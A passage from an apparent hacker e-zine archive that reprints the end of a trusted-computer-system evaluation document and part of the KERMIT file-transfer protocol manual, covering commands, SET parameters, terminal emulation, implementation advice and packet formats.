  3344. complex as a computer system can be truly exhaustive, there is always the
  3345. possibility that a subsequent penetration attempt could succeed.  It is for
  3346. this reason that such systems must fall into the lower evaluation classes.
  3347.  
  3348. On the other hand, those systems that are designed and engineered to support
  3349. the TCB concepts are more amenable to analysis and structured testing.  Formal
  3350. methods can be used to analyze the correctness of their reference validation
  3351. mechanisms in enforcing the system's security policy.  Other methods,
  3352. including less-formal arguments, can be used in order to substantiate claims
  3353. for the completeness of their access mediation and their degree of
  3354. tamper-resistance.  More confidence can be placed in the results of this
  3355. analysis and in the thoroughness of the structured testing than can be placed
  3356. in the results for less methodically structured systems.  For these reasons,
  3357. it appears reasonable to conclude that these systems could be used in
  3358. higher-risk environments.  Successful implementations of such systems would be
  3359. placed in the higher evaluation classes.
  3360.  
  3361. 6.5  The Classes
  3362.  
  3363. It is highly desirable that there be only a small number of overall evaluation
  3364. classes.  Three major divisions have been identified in the evaluation
  3365. criteria with a fourth division reserved for those systems that have been
  3366. evaluated and found to offer unacceptable security protection.  Within each
  3367. major evaluation division, it was found that "intermediate" classes of trusted
  3368. system design and development could meaningfully be defined.  These
  3369. intermediate classes have been designated in the criteria because they
  3370. identify systems that:
  3371.  
  3372.         * are viewed to offer significantly better protection and assurance
  3373.           than would systems that satisfy the basic requirements for their
  3374.           evaluation class; and
  3375.  
  3376.         * there is reason to believe that systems in the intermediate
  3377.           evaluation classes could eventually be evolved such that they
  3378.           would satisfy the requirements for the next higher evaluation
  3379.           class.
  3380.  
  3381. Except within division A it is not anticipated that additional "intermediate"
  3382. evaluation classes satisfying the two characteristics described above will be
  3383. identified.
  3384. Distinctions in terms of system architecture, security policy enforcement, and
  3385. evidence of credibility between evaluation classes have been defined such that
  3386. the "jump" between evaluation classes would require a considerable investment
  3387. of effort on the part of implementors.  Correspondingly, there are expected to
  3388. be significant differentials of risk to which systems from the higher
  3389. evaluation classes will be exposed.
  3390.  
  3391.  
  3392. 7.0  THE RELATIONSHIP BETWEEN POLICY AND THE CRITERIA
  3393.  
  3394. Section 1 presents fundamental computer security requirements and Section 5
  3395. presents the control objectives for Trusted Computer Systems.  They are
  3396. general requirements, useful and necessary, for the development of all secure
  3397. systems.  However, when designing systems that will be used to process
  3398. classified or other sensitive information, functional requirements for meeting
  3399. the Control Objectives become more specific.  There is a large body of policy
  3400. laid down in the form of Regulations, Directives, Presidential Executive
  3401. Orders, and OMB Circulars that form the basis of the procedures for the
  3402. handling and processing of Federal information in general and classified
  3403. information specifically.  This section presents pertinent excerpts from these
  3404. policy statements and discusses their relationship to the Control Objectives.
  3405.  
  3406. =============================================================================
  3407.  
  3408.                     /                                   /
  3409.                     /         File 03 / NIA070          /
  3410.                     /  KERMIT Protocol Manual 02 of 02  /
  3411.                     /   Malefactor Of Organized Crime   /
  3412.                     /      Dedicated To: The Mentor     /
  3413.                     /                                   /
  3414.  
  3415. [Editor's Note: For part 01 check in NIA069, and also there for the copyrights
  3416.  and so-on.]
  3417.  
  3418. 9.5. Commands Whose Object Should Be Specified
  3419.  
  3420. Some  Kermit implementations include various local file management services and
  3421. commands to invoke them.  For instance, an implementation might  have  commands
  3422. to  let  you  get  directory  listings, delete files, switch disks, and inquire
  3423. about free disk space without having to exit and restart the program.   In  ad-
  3424. dition,  remote  servers may also provide such services.  A user Kermit must be
  3425. able to distinguish between commands aimed at its own system and those aimed at
  3426. the remote one.  When any confusion is possible, such a command may be prefixed
  3427. by one of the following "object prefixes":
  3428.  
  3429. REMOTE  Ask the remote Kermit server to provide this service.
  3430.  
  3431. LOCAL   Perform the service locally.
  3432.  
  3433. If the "object prefix" is omitted, the command should be executed locally.  The
  3434. services include:
  3435. KERMIT Commands                                                         Page 50
  3436.  
  3437.  
  3438. LOGIN   This  should  be  used  in its timesharing sense, to create an identity
  3439.         ("job", "session", "access", "account") on the system.
  3440.  
  3441. LOGOUT  To terminate a session that was initiated by LOGIN.
  3442.  
  3443. COPY    Make a new copy of the specified file with the specified name.
  3444.  
  3445. CWD     Change Working Directory.  This is ugly, but more  natural  verbs  like
  3446.         CONNECT and ATTACH are too imprecise.  CWD is the ARPAnet file transfer
  3447.         standard command to invoke this function.
  3448.  
  3449. DIRECTORY
  3450.         Provide  a  list  of  the  names, and possibly other attributes, of the
  3451.         files in the current working directory (or the specified directory).
  3452.  
  3453. DELETE  Delete the specified files.
  3454.  
  3455. ERASE   This could be a synomym for DELETE, since its meaning is clear.
  3456.  
  3457.             (It doesn't seem wise to include UNDELETE  or  UNERASE  in  the
  3458.             standard  list; most systems don't support such a function, and
  3459.             users' expectations should not be toyed with...)
  3460.  
  3461. KERMIT  Send a command to the remote KERMIT server in its own interactive  com-
  3462.         mand syntax.
  3463.  
  3464. RENAME  Change the name of the specified file.
  3465.  
  3466. TYPE    Display the contents of the specified file(s) at the terminal.
  3467.  
  3468. SPACE   Tell how much space is used and available for storing files in the cur-
  3469.         rent working directory (or the specified directory).
  3470.  
  3471. SUBMIT  Submit the specified file(s) for background (batch) processing.
  3472.  
  3473. PRINT   Print the specified file(s) on a printer.
  3474.  
  3475. MOUNT   Request a mount of the specified tape, disk, or other removable storage
  3476.         medium.
  3477.  
  3478. WHO     Show  who  is  logged in (e.g. to a timesharing system), or give infor-
  3479.         mation about a specified user or network host.
  3480.  
  3481. MAIL    Send electronic mail to the specified user(s).
  3482.  
  3483. MESSAGE Send a terminal message (on a network or timesharing system).
  3484.  
  3485. HELP    Give brief information about how to use KERMIT.
  3486.  
  3487. SET     Set various parameters relating to debugging, transmission, file  mode,
  3488.         and so forth.
  3489.  
  3490. SHOW    Display settings of SET parameters, capabilities in force, etc.
  3491.  
  3492. STATISTICS
  3493.         Give information about the performance of the most recent file transfer
  3494. KERMIT Commands                                                         Page 51
  3495.  
  3496.  
  3497.         -- elapsed time, effective baud rate, various counts, etc.
  3498.  
  3499. HOST    Pass  the  given command string to the specified (i.e. remote or local)
  3500.         host for execution in its own command language.
  3501.  
  3502. LOGGING Open or close a remote transaction or debugging log.
  3503.  
  3504.  
  3505. 9.6. The SET Command
  3506.  
  3507. A SET command should be provided to allow the user to tailor  a  connection  to
  3508. the  peculiarities  of the communication path, the local or remote file system,
  3509. etc.  Here are some parameters that should be SET-able:
  3510.  
  3511. BLOCK-CHECK
  3512.         Specify the type of block check to be used: single character  checksum,
  3513.         two-character checksum, 3-character CRC.
  3514.  
  3515. DEBUGGING
  3516.         Display  or  log  the  packet  traffic,  packet numbers, and/or program
  3517.         states.  Useful for debugging new versions of  KERMIT,  novel  combina-
  3518.         tions of KERMIT programs, etc.
  3519.  
  3520. DELAY   How  many seconds a remote (non-server) KERMIT should wait before send-
  3521.         ing the Send-Init packet, to give the user time to escape back  to  the
  3522.         local KERMIT and type a RECEIVE command.
  3523.  
  3524. DUPLEX  For terminal emulation, specify FULL or HALF duplex echoing.
  3525.  
  3526. EIGHT-BIT-PREFIXING
  3527.         Specify  that "8th bit" prefixing must be done; normally it will not be
  3528.         done.
  3529.  
  3530. END-OF-LINE
  3531.         Specify any line terminator that must be used after a packet.
  3532.  
  3533. ESCAPE  Specify the escape character for terminal emulation.
  3534.  
  3535. FILE attributes
  3536.         Almost any of the attributes listed above  in  the  Attributes  section
  3537.         (8.5).    The most common need is to tell the KERMIT program whether an
  3538.         incoming or outbound file is text or binary.
  3539.  
  3540. FLOW-CONTROL
  3541.         Specify the flow control mechanism for  the  line,  such  as  XON/XOFF,
  3542.         DTR/CTS, etc.  Allow flow control to be turned off as well as on.  Flow
  3543.         control is done only on full-duplex connections.
  3544.  
  3545. HANDSHAKE
  3546.         Specify  any  line-access  negotiation  that  must be used or simulated
  3547.         during file transfer.  For instance, a half duplex  system  will  often
  3548.         need to "turn the line around" after sending a packet, in order to give
  3549.         you  permission  to reply.  A common handshake is XON (?Q); the current
  3550.         user of the line transmits an XON when done transmitting data.
  3551.  
  3552. LINE    Specify the line or device designator for the connection.  This is  for
  3553. KERMIT Commands                                                         Page 52
  3554.  
  3555.  
  3556.         use  in  a  KERMIT program that can run in either remote or local mode;
  3557.         the default line is the controlling terminal  (for  remote  operation).
  3558.         If an external device is used, local operation is presumed.
  3559.  
  3560. LOG     Specify  a local file in which to keep a log of the transaction.  There
  3561.         may be logs for debugging purposes (packet traffic, state  transitions,
  3562.         etc)  and  for auditing purposes (to record the name and disposition of
  3563.         each file transferred).
  3564.  
  3565. MARKER  Change the start-of-packet marker from the default of SOH  (CTRL-A)  to
  3566.         some  other control character, in case one or both systems has problems
  3567.         using CTRL-A for this purpose.
  3568.  
  3569. PACKET-LENGTH
  3570.         The maximum length for a packet.  This should normally be no less  than
  3571.         30  or  40,  and can never be greater than 96.  Short packets can be an
  3572.         advantage on noisy lines; they reduce the  probabily  of  a  particular
  3573.         packet  being  corrupted,  as  well as the retransmission overhead when
  3574.         corruption does occur.
  3575.  
  3576. PADDING The number of padding  characters  that  should  be  sent  before  each
  3577.         packet, and what the padding character should be.  Rarely necessary.
  3578.  
  3579. PARITY  Specify  the parity (ODD, EVEN, MARK, SPACE, NONE) of the physical con-
  3580.         nection.  If other than none, the "8th bit" cannot be used to  transmit
  3581.         data and must not be used by either side in block check computation.
  3582.  
  3583. PAUSE   How  many  seconds to pause after receiving a packet before sending the
  3584.         next packet.  Normally 0, but when a system communication processor  or
  3585.         front  end  has  trouble keeping up with the traffic, a short pause be-
  3586.         tween packets may allow it to recover its  wits;  hopefully,  something
  3587.         under a second will suffice.
  3588.  
  3589. PREFIX  Change  the default prefix for control characters, 8-bit characters, or
  3590.         repeated quantities.
  3591.  
  3592. PROMPT  Change the program's prompt.  This is useful when  running  KERMIT  be-
  3593.         tween  two  systems  whose  prompt  is the same, to eliminate confusion
  3594.         about which KERMIT you are talking to.
  3595.  
  3596. REPEAT-COUNT-PROCESSING
  3597.         Change the default for repeat count processing.  Normally, it  will  be
  3598.         done if both KERMIT programs agree to do it.
  3599.  
  3600. RETRY   The  maximum number of times to attempt to send or receive a packet be-
  3601.         fore giving up.  The normal number is about 5, but the user  should  be
  3602.         able  to  adjust it according to the condition of the line, the load on
  3603.         the systems, etc.
  3604.  
  3605. TIMEOUT Specify the length of the timer to set when waiting for a packet to ar-
  3606.         rive.
  3607. KERMIT Commands                                                         Page 53
  3608.  
  3609.  
  3610. 9.7. Macros, the DEFINE Command
  3611.  
  3612. In  addition  to the individual set commands, a "macro" facility is recommended
  3613. to allow users to combine the characteristics of specific systems into a single
  3614. SET option.  For example:
  3615.  
  3616.   DEFINE IBM = PARITY ODD, DUPLEX HALF, HANDSHAKE XON
  3617.   DEFINE UNIX = PARITY NONE, DUPLEX FULL
  3618.   DEFINE TELENET = PARITY MARK
  3619.  
  3620. This could be done by providing a fancy runtime parser for commands  like  this
  3621. (which  could be automatically TAKEn from the user's KERMIT initialization file
  3622. upon program startup), or simply hardwired into the SET command table.
  3623.  
  3624. With these definitions in place, the user would simply  type  "SET  IBM",  "SET
  3625. UNIX",  and so forth, to set up the program to communication to the remote sys-
  3626. tem.
  3627. Terminal Emulation                                                      Page 54
  3628.  
  3629.  
  3630. 10. Terminal Emulation
  3631.  
  3632. The local system must be able to act as a terminal so that the user can connect
  3633. to the remote system, log in, and start up the remote KERMIT.
  3634.  
  3635. Terminal  emulation should be provided by any KERMIT program that runs locally,
  3636. so that the user need not exit and restart the local KERMIT program in order to
  3637. switch between terminal and protocol operation.  On smaller  systems,  this  is
  3638. particularly important for various reasons -- restarting the program and typing
  3639. in  all  the  necessary SET commands is too inconvenient and time-consuming; in
  3640. some micros, switching in and out of terminal emulation may  cause  carrier  to
  3641. drop, etc.
  3642.  
  3643. Only bare-bones terminal emulation need be supplied by KERMIT; there is no need
  3644. to  emulate  any  particular  kind of "smart" terminal.  Simple "dumb" terminal
  3645. emulation is sufficient to do the job.  Emulation of fancier terminals is  nice
  3646. to  have, however, to take advantage of the remote system's editing and display
  3647. capabilities.  In some cases, microcomputer firmware will take  care  of  this.
  3648. To build emulation for a particular type of terminal into the program, you must
  3649. interpret and act upon escape sequences as they arrive at the port.
  3650.  
  3651. No  error  checking  is  done  during  terminal  emulation.  It is "outside the
  3652. protocol"; characters go back and forth "bare".  In this sense, terminal emula-
  3653. tion through KERMIT is no better than actually using a real terminal.
  3654.  
  3655. Some KERMIT implementations may allow logging of the terminal emulation session
  3656. to a local file.  Such a facility allows "capture" of  remote  typescripts  and
  3657. files,  again  with  no  error  checking  or correction.  When this facility is
  3658. provided, it is also desirable to have a convenient way of "toggling" the  log-
  3659. ging on and off.
  3660.  
  3661. If  the  local  system does not provide system- or firmware-level flow control,
  3662. like XON/XOFF, the terminal emulation program should attempt  to  simulate  it,
  3663. especially if logging is being done.
  3664.  
  3665. The terminal emulation facility should be able to handle either remote or local
  3666. echoing (full or half duplex), any required handshake, and it should be able to
  3667. transmit any parity required by the remote side or the communication medium.
  3668.  
  3669. A  terminal emulator works by continuously sampling both console input from the
  3670. local terminal and input from the communication line.  Simple input and  output
  3671. functions  will not suffice, however, since if you ask for input from a certain
  3672. device and there is none available, you will generally block until  input  does
  3673. become  available,  during  which time you will be missing input from the other
  3674. device.  Thus you must have a way  to  bounce  back  and  forth  regardless  of
  3675. whether input is available.  Several mechanisms are commonly used:
  3676.  
  3677.    - Continuously jump back and forth between the port status register and
  3678.      the  console  status  register,  checking  the  status bits for input
  3679.      available.  This is only  practical  on  single-user,  single-process
  3680.      systems, where the CPU has nothing else to do.
  3681.  
  3682.    - Issue an ordinary blocking input request for the port, but enable in-
  3683.      terrupts on console input, or vice versa.
  3684.  
  3685.    - Handle port input in one process and console input in another, paral-
  3686. Terminal Emulation                                                      Page 55
  3687.  
  3688.  
  3689.      lel process.  The UNIX KERMIT program listed in this manual uses this
  3690.      method.
  3691.  
  3692. Any input at the port should be displayed immediately on the screen.  Any input
  3693. from the console should be output immediately to the port.  In addition, if the
  3694. connection is half duplex, console input should also be sent immediately to the
  3695. screen.
  3696.  
  3697. The  terminal  emulation  code must examine each console character to determine
  3698. whether it is the "escape character".  If so, it should take the next character
  3699. as a special command, which it executes.  These commands are  described  above,
  3700. in section 9.3.
  3701.  
  3702. The terminal emulator should be able to send every ASCII character, NUL through
  3703. DEL,  and  it  should  also  be able to transmit a BREAK signal (BREAK is not a
  3704. character, but an "escape" from ASCII transmission in which a 0 is put  on  the
  3705. line  for  about  a  quarter  of a second, regardless of the baud rate, with no
  3706. framing bits).  BREAK is important when  communicating  with  various  systems,
  3707. such as IBM mainframes.
  3708.  
  3709. Finally, it is sometimes necessary to perform certain transformations on the CR
  3710. character  that is normally typed to end a line of input.  Some systems use LF,
  3711. EOT, or other characters for this function.  To complicate matters, intervening
  3712. communications equipment (particularly the public packet-switched networks) may
  3713. have their own independent requirements.  Thus if using KERMIT  to  communicate
  3714. over,  say,  TRANSPAC  with  a  system  that uses LF for end-of-line, it may be
  3715. necessary to transform CR into LFCR (linefeed first -- the CR tells the network
  3716. to send the packet, which will contain the LF, and the host  uses  the  LF  for
  3717. termination).  The user should be provided with a mechanism for specifying this
  3718. transformation, a command like "SET CR sequence".
  3719. Writing a KERMIT Program                                                Page 56
  3720.  
  3721.  
  3722. 11. Writing a KERMIT Program
  3723.  
  3724. Before writing a new implementation of KERMIT or modifying an old one, first be
  3725. sure  to  contact the KERMIT Distribution center at Columbia University to make
  3726. sure that you're not duplicating someone else's effort, and that you  have  all
  3727. the  latest material to work from.  If you do write or significantly modify (or
  3728. document) a KERMIT program, please send it back to Columbia so that it  can  be
  3729. included  in  the  standard KERMIT distribution and others can benifit from it.
  3730. It is only through this kind of sharing that KERMIT has grown from  its  modest
  3731. beginnings to its present scale.
  3732.  
  3733. The following sections provide some hints on KERMIT programming.
  3734.  
  3735.  
  3736. 11.1. Program Organization
  3737.  
  3738. A  basic  KERMIT  implementation  can  usually be written as a relatively small
  3739. program, self-contained in a single source file.  However, it is often the case
  3740. that a program written to run on one system will be adapted  to  run  on  other
  3741. systems  as  well.   In that case, it is best to avoid having totally divergent
  3742. sources, because when new features are added to (or bugs fixed in) the  system-
  3743. independent parts of the program -- i.e. to the protocol itself -- only one im-
  3744. plementation will reap the benefits initially, and the other will require pain-
  3745. ful, error-prone "retrofitting" to bring it up to the same level.
  3746.  
  3747. Thus,  if  there  is any chance that a KERMIT program will run on more than one
  3748. machine, or under more than one operating system, or support more than one kind
  3749. of port or modem, etc, it is desirable to isolate the system-dependent parts in
  3750. a way that makes the common parts usable by the various implementations.  There
  3751. are several approaches:
  3752.  
  3753.    1. Runtime support.  If possible, the program can inspect the  hardware
  3754.       or  inquire  of  the system about relevant parameters, and configure
  3755.       itself dynamically at startup time.  This is hardly ever possible.
  3756.  
  3757.    2. Conditional compilation (or assembly).  If the number of systems  or
  3758.       options  to  be supported is small, the system dependent code can be
  3759.       enclosed in conditional compilation brackets  (like  IF  IBMPC  ....
  3760.       ENDIF).  An example is provided in UNIX KERMIT listing included with
  3761.       this  manual.    However, as the number of system dependencies to be
  3762.       supported  grows,  this  method  becomes  unwieldy  and  error-prone
  3763.       --  installing  support for system X tends to break the pre-existing
  3764.       support for system Y.
  3765.  
  3766.    3. Modular composition.  When there is a potentially  large  number  of
  3767.       options  a  program  should  support,  it  should  be broken up into
  3768.       separate modules (source  files),  with  clearly  specified,  simple
  3769.       calling conventions.  This allows people with new options to provide
  3770.       their  own  support for them in an easy way, without endangering any
  3771.       existing support.  Suggested modules for a KERMIT program are:
  3772.  
  3773.          - System-Indendent protocol  handling:  state  switching,  packet
  3774.            formation, encoding (prefixing) and decoding, etc.
  3775.  
  3776.          - User Interface: the command parser.  Putting this in a separate
  3777.            module  allows  plug-in  of  command parsers to suit the user's
  3778. Writing a KERMIT Program                                                Page 57
  3779.  
  3780.  
  3781.            taste,  to mimic the style of the host system command parser or
  3782.            some popular application, etc.
  3783.  
  3784.          - Screen i/o: This module would contain the screen control codes,
  3785.            cursor positioning routines, etc.
  3786.  
  3787.          - Port i/o: Allows support of various port hardware.  This module
  3788.            can define the port status register location, the status  bits,
  3789.            and so forth, and can implement the functions to read and write
  3790.            characters at the port.
  3791.  
  3792.          - Modem   control:   This   module  would  support  any  kind  of
  3793.            "intelligent" modem, which is not simply a  transparent  exten-
  3794.            sion  of  the communications port.  Such modems may accept spe-
  3795.            cial commands to perform functions like dialing out,  redialing
  3796.            a  recent  number,  hanging  up, etc., and may need special in-
  3797.            itialization (for instance, setting modem signals like DTR).
  3798.  
  3799.          - Console input: This module would supply  the  function  to  get
  3800.            characters  from  the  console;  it would know about the status
  3801.            register  locations  and  bits,  interrupt  structure,  key-to-
  3802.            character   mappings,   etc.,  and  could  also  implement  key
  3803.            redefinitions, keystroke macros,  programmable  function  keys,
  3804.            expanded control and meta functions, etc.
  3805.  
  3806.          - Terminal  Emulation:  This  module  would  interpret escape se-
  3807.            quences in the incoming character  stream  (obtained  from  the
  3808.            port i/o module) for the particular type of terminal being emu-
  3809.            lated  and  interpret  them by making appropriate calls the the
  3810.            screen i/o module, and it would send user typein (obtained from
  3811.            the console input module) out the serial port (again using  the
  3812.            port  i/o module).  Ideally, this module could be replacable by
  3813.            other modules to emulate different  kinds  of  terminals  (e.g.
  3814.            ANSI, VT52, ADM3A, etc).
  3815.  
  3816.          - File i/o: This module contains all the knowledge about the host
  3817.            system's  file  structure; how to open and close files, perform
  3818.            "get next file" operations, read and write files, determine and
  3819.            set their attributes, detect the end of a file, and  so  forth,
  3820.            and  provides  the  functions,  including  buffering,  to get a
  3821.            character from a file and put a character  to  a  file.    This
  3822.            module  may  also  provide  file  management services for local
  3823.            files -- directory listings, deleting, renaming,  copying,  and
  3824.            so forth.
  3825.  
  3826.          - Definitions  and  Data: Separate modules might also be kept for
  3827.            compile-time parameter definitions and for global runtime data.
  3828. Writing a KERMIT Program                                                Page 58
  3829.  
  3830.  
  3831. 11.2. Programming Language
  3832.  
  3833. The  language  to  be used in writing a KERMIT program is more than a matter of
  3834. taste.  The primary consideration is that the language  provide  the  necessary
  3835. functionality and speed.  For instance, a microcomputer implementation of BASIC
  3836. may  not  allow  the  kind of low-level access to device registers needed to do
  3837. terminal emulation, or to detect console input during file transfer, or even if
  3838. it can do these things, it might not be able to run fast enough  do  drive  the
  3839. communication line at the desired baud rate.
  3840.  
  3841. The  second  consideration in choosing a language is portability.  This is used
  3842. in two senses: (1) whether the language is in the  public  domain  (or,  equiv-
  3843. alently,  provided  "free"  as part of the basic system), and (2) whether it is
  3844. well standardized and in wide use on a variety of systems.  A language that  is
  3845. portable in both senses is to be preferred.
  3846.  
  3847. Whatever  programming  language  is selected, it is important that all lines in
  3848. the program source be kept to 80 characters or less (after expansion of  tabs).
  3849. This  is because KERMIT material must often be shipped over RJE and other card-
  3850. format communication links.
  3851.  
  3852. In addition, it is important that the names of all files used in  creating  and
  3853. supporting  a  particular  KERMIT  implementation be (possibly a subset) of the
  3854. form NAME.TYPE, where NAME is limited to six characters, and TYPE is limited to
  3855. three, and where the NAME of each file begin with a common  2  or  3  character
  3856. prefix.    This is so that all related files will be grouped together in an al-
  3857. phabetic directory listing, and so when all of the hundreds of  KERMIT  related
  3858. files  are  placed together on a tape, all names will be both legal and unique,
  3859. especially on systems (like PDP-11 operating  systems)  with  restrictive  file
  3860. naming conventions.
  3861.  
  3862.  
  3863. 11.3. Documentation
  3864.  
  3865. A  new  KERMIT program should be thoroughly documented; one of the hallmarks of
  3866. KERMIT is its documentation.  The documentation should  be  at  both  the  user
  3867. level  (how  to  use  the  program,  what the commands are, etc, similar to the
  3868. documentation presently found in the Kermit Users  Guide),  and  the  implemen-
  3869. tation  level  (describe system dependencies, give pointers for adapting to new
  3870. systems, and so forth).    In  addition,  programs  themselves  should  contain
  3871. copious  commentary.   Like program source, documentation should be kept within
  3872. 80-character lines.
  3873.  
  3874. If possible, a section for the implementation should be written for the  KERMIT
  3875. User  Guide using the UNILOGIC Scribe formatting language (subsets of which are
  3876. also to be found in some microcomputer text processing software such as Perfect
  3877. Writer or Final Word), using  the  same  general  conventions  as  the  existic
  3878. Scribe-format implementation sections.
  3879.  
  3880. KERMIT programs should also contain a revision history, in which each change is
  3881. briefly  explained,  assigned an "edit number", and the programmer and site are
  3882. identified.  The lines or sections comprising the edit should  be  marked  with
  3883. the corresponding edit number, and the KERMIT program, upon startup, should an-
  3884. nounce its version and edit numbers, so that when users complain of problems we
  3885. will know what version of the program is in question.
  3886. Writing a KERMIT Program                                                Page 59
  3887.  
  3888. The version number changes when the functionality has been changed sufficiently
  3889. to  require  major revisions of user documentation.  The edit number should in-
  3890. crease (monotonically, irrespective of version number)  whenever  a  change  is
  3891. made  to  the program.  The edit numbers are very important for program manage-
  3892. ment; after shipping out a version of, say, CP/M KERMIT-80,  we  often  receive
  3893. many copies of it, each containing its own set of changes, which we must recon-
  3894. cile in some manner.  Edit numbers help a great deal here.
  3895.  
  3896.  
  3897. 11.4. Bootstrapping
  3898.  
  3899. Finally,  a  bootstrap  procedure should be provided.  KERMIT is generally dis-
  3900. tributed on magnetic tape to large central sites; the users at those sites need
  3901. ways of "downloading" the various implementations to  their  micros  and  other
  3902. local  systems.  A simple bootstrap procedure would consist of precise instruc-
  3903. tions on how to accomplish an "unguarded" capture of the program.    Perhaps  a
  3904. simple,  short  program  can be written for each each end that will do the job;
  3905. listings and instructions can be provided for the user to type in and run these
  3906. programs.
  3907. Packet Format and Types                                                 Page 60
  3908.  
  3909.  
  3910. I. Packet Format and Types
  3911.  
  3912. KERMIT Packet Layout:
  3913.  
  3914.   +------+-----+-----+------+------------+-------+
  3915.   | MARK | LEN | SEQ | TYPE |    DATA    | CHECK |
  3916.   +------+-----+-----+------+------------+-------+
  3917.  
  3918. Send-Init Data Field Layout:
  3919.  
  3920.    1      2      3      4      5      6      7      8      9      10...
  3921.   +------+------+------+------+------+------+------+------+------+-------
  3922.   | MAXL | TIME | NPAD | PADC | EOL  | QCTL | QBIN | CHKT | REPT | CAPAS
  3923.   +------+------+------+------+------+------+------+------+------+-------
  3924.  
  3925. KERMIT  packet  types  and subtypes; required types are marked with an asterisk
  3926. (*):
  3927.  
  3928. Y*  Acknowledge (ACK)
  3929. N*  Negative acknowledge (NAK)
  3930. S*  Send initiate (exchange parameters)
  3931. I   Initialize (exchange parameters)
  3932. F*  File header
  3933. A   File attributes
  3934. D*  Data packet
  3935. Z*  End of file (EOF)
  3936. B*  Break transmission (EOT)
  3937. E*  Error
  3938. R   Receive Initiate (ask the server to send the specified files)
  3939. C   Host Command
  3940. K   KERMIT Command
  3941. T   Reserved for internal use
  3942. G   Generic Kermit Command; Subcommands:
  3943.  
  3944.     I   Login (or logout)
  3945.     C   CWD, Change Working Directory
  3946.     L   Bye
  3947.     F   Finish
  3948.     D   Directory
  3949.     U   Disk Usage Query
  3950.     E   Erase, Delete
  3951.     T   Type
  3952.     R   Rename
  3953.     K   Copy
  3954.     W   Who's logged in?
  3955.     M   Short Message
  3956.     H   Help
  3957.     Q   Server Status Query
  3958.     P   Program Invocation
  3959.     J   Journal Control
  3960.     V   Variable Set/Query
  3961. List of Features                                                        Page 61
  3962.  
  3963.  
  3964. II. List of Features
  3965.  
  3966. There's  no  true  linear  scale along which to rate Kermit implementations.  A
  3967. basic, minimal implementation provides file transfer in both  directions,  and,
  3968. for  microcomputers  (PC's,  workstations, other single user systems), terminal
  3969. emulation.  Even within this framework, there can be variations.  For instance,
  3970. can the program send a file group in a single command, or  must  a  command  be
  3971. issued for each file?  Can it time out?  Here is a list of features that may be
  3972. present;  for  any KERMIT implementation, the documentation should show whether
  3973. these features exist, and how to invoke them.
  3974.  
  3975.    - File groups.  Can it send a group of files  with  a  single  command,
  3976.      using  "wildcard",  pattern,  or  list notation?  Can it successfully
  3977.      send or receive a group of files of mixed types?  Can it recover from
  3978.      an error on a particular file and go on to the next one?  Can it keep
  3979.      a log of the files involved showing the disposition of each?
  3980.  
  3981.    - Filenames.  Can it take action to avoid overwriting a local file when
  3982.      a new file of the same name arrives?  Can it convert filenames to and
  3983.      from legal or "normal form"?
  3984.  
  3985.    - File types.  Can binary as well as text files be transmitted?
  3986.  
  3987.    - 8th-Bit prefixing.  Can it send and  receive  8-bit  data  through  a
  3988.      7-bit channel using the prefixing mechanism?
  3989.  
  3990.    - Repeat-Count  processing.  Can it send and receive data with repeated
  3991.      characters replaced by a prefix sequence?
  3992.  
  3993.    - Terminal Emulation.  Does it  have  a  terminal  emulation  facility?
  3994.      Does  it  provide  various  communication  options,  such  as duplex,
  3995.      parity, and handshake selection?  Can it transmit all  ASCII  charac-
  3996.      ters?  Can it transmit BREAK?  Can it log the remote session locally,
  3997.      to provide unguarded file capture?
  3998.  
  3999.    - Communications Options.  Can duplex, parity, handshake, and line ter-
  4000.      minator be specified for file transfer?
  4001.  
  4002.    - Block  Check  Options.    In  addition  to the basic single-character
  4003.      checksum, can the two-character checksum and the three-character  CRC
  4004.      be selected?
  4005.  
  4006.    - Basic  Server.  Can it run in server mode, accepting commands to send
  4007.      or receive files, and to shut itself down?
  4008.  
  4009.    - Advanced Server.  Can it accept  server  commands  to  delete  files,
  4010.      provide directory listings, send messages, and forth?
  4011.  
  4012.    - Issue  Commands  to  Server.    Can it send commands to a server, and
  4013.      handle all possible responses?
  4014.  
  4015.    - Host Commands.  Can it parse and send remote "host commands"?  If  it
  4016.      is  a  server,  can it pass these commands to the host system command
  4017.      processor and return the results to the local user Kermit?
  4018.  
  4019.    - Interrupt File Transfers.  Can it interrupt sending  or  receiving  a
  4020. List of Features                                                        Page 62
  4021.  
  4022.  
  4023.      file?  Can it respond to interrupt requests from the other side?
  4024.  
  4025.    - Local  File  Management  Services.    Are there commands to get local
  4026.      directory directory listings, delete local files, and so forth?
  4027.  
  4028.    - File Attributes.  Can it send file attribute information about  local
  4029.      files,  and  can  deal with incoming file attribute information?  Can
  4030.      alternate dispositions be specified.  Can files be archived?
  4031.  
  4032.    - Debugging Capability.    Can  packet  traffic  be  logged,  examined,
  4033.      single-stepped?
  4034. Unresolved Issues                                                       Page 63
  4035.  
  4036.  
  4037. III. Unresolved Issues
  4038.  
  4039. KERMIT doesn't do everything.  Here is a short list of things it doesn't do, or
  4040. could do better.
  4041.  
  4042.    - KERMIT cannot be used through IBM 3270 protocol emulators.  These are
  4043.      devices that allow asynchronous ASCII terminals or PCs to communicate
  4044.      with  IBM mainframes as though they were synchronous full-screen dis-
  4045.      plays.  The problems include: (a) the protocol  converter  translates
  4046.      from  EBCDIC  to  ASCII -- that is, it assumes it is receiving EBCDIC
  4047.      when KERMIT is supposed to be sending ASCII -- according to  its  own
  4048.      translate  table,  which  may  vary  from  site to site, and is not a
  4049.      1-to-1 mapping in any case; (b) non-printing control characters (like
  4050.      SOH) cannot be sent at all; (c) the protocol converter looks for 3270
  4051.      formatting commands and translates them to escape sequences  for  the
  4052.      ASCII  terminal,  possibly  modifying packet data; (d) the IBM system
  4053.      automatically pauses at the end of each screenful; (e)  the  protocol
  4054.      converter  thinks it knows what is "on the screen" and may attempt to
  4055.      optimize.  In general, one  never  knows  exactly  how  a  particular
  4056.      protocol  converter will work, or how it may differ from another one.
  4057.      Still, it may be possible to work around these problems if  the  Ker-
  4058.      mits  on  either  end  are put into a special "3270 mode", "clear the
  4059.      screen" between each packet, and agree on some special convention for
  4060.      packet delimitation and data translation.
  4061.  
  4062.    - Control character prefixing.  This can get pretty expensive  for  bi-
  4063.      nary  files  or  other files that contain lots of control characters.
  4064.      Since most hosts won't choke on every single  control  character,  it
  4065.      might  be  a good idea for each host to inform the other of what con-
  4066.      trol characters it can receive "bare".  On the other hand, this could
  4067.      backfire when the two hosts are connected by a network or device that
  4068.      chokes on control characters that neither of the hosts choke on.  For
  4069.      hardwired connections with no unknown factors, however, many  control
  4070.      characters could be sent "bare".
  4071.  
  4072.    - When  long  sequences  of  characters  in the control range are being
